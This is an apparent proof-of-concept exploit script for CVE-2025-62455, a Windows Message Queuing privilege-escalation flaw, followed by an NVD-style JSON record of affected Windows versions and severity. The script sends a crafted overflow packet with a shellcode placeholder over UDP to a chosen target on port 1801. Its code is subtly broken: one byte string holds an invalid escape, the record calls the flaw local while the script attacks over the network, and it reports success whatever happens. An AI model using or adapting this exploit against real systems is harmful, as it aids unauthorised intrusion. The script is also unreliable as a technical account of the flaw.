CVE-2025-62455

# CVE-2025-62455 Windows Message Queuing Privilege Escalation PoC # Author: Security Researcher # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def create_malicious_msmq_message(): """Construct a malformed MSMQ message that triggers input validation vulnerability""" # MSMQ message header structure header = b'MSMQ' # Protocol signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00000000) # Message type header += struct.pack('<Q', 0x00000000) # Message ID # Malicious payload designed to bypass input validation # This exploits improper validation in message processing payload = b'\x41' * 1000 # Overflow data payload += b'\x00' * 100 # Padding payload += b'\xEB\xP\x90\x90' # NOP sled + short jump (shellcode placeholder) payload += b'\xCC' * 50 # Int3 breakpoints for debugging # End of message marker footer = b'\x00' * 8 return header + payload + footer def send_exploit(target_ip, target_port=1801): """Send the exploit payload to MSMQ service""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Sending malicious MSMQ message to {target_ip}:{target_port}") exploit_payload = create_malicious_msmq_message() sock.sendto(exploit_payload, (target_ip, target_port)) print("[+] Exploit payload sent successfully") print("[*] Triggering privilege escalation via improper input validation") return True except Exception as e: print(f"[-] Error sending exploit: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-62455-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

{"cve": {"id": "CVE-2025-62455", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:56.967", "lastModified": "2025-12-12T20:02:25.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Windows Message Queuing allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "B1A4A63C-AA10-4A4B-8FD6-0519D1F7DFE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "BCB3A273-FB6E-43DC-A247-363179C2400C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8688", "matchCriteriaId": "992FE0C2-27E6-4D04-8200-7831DE13C58E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62455", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}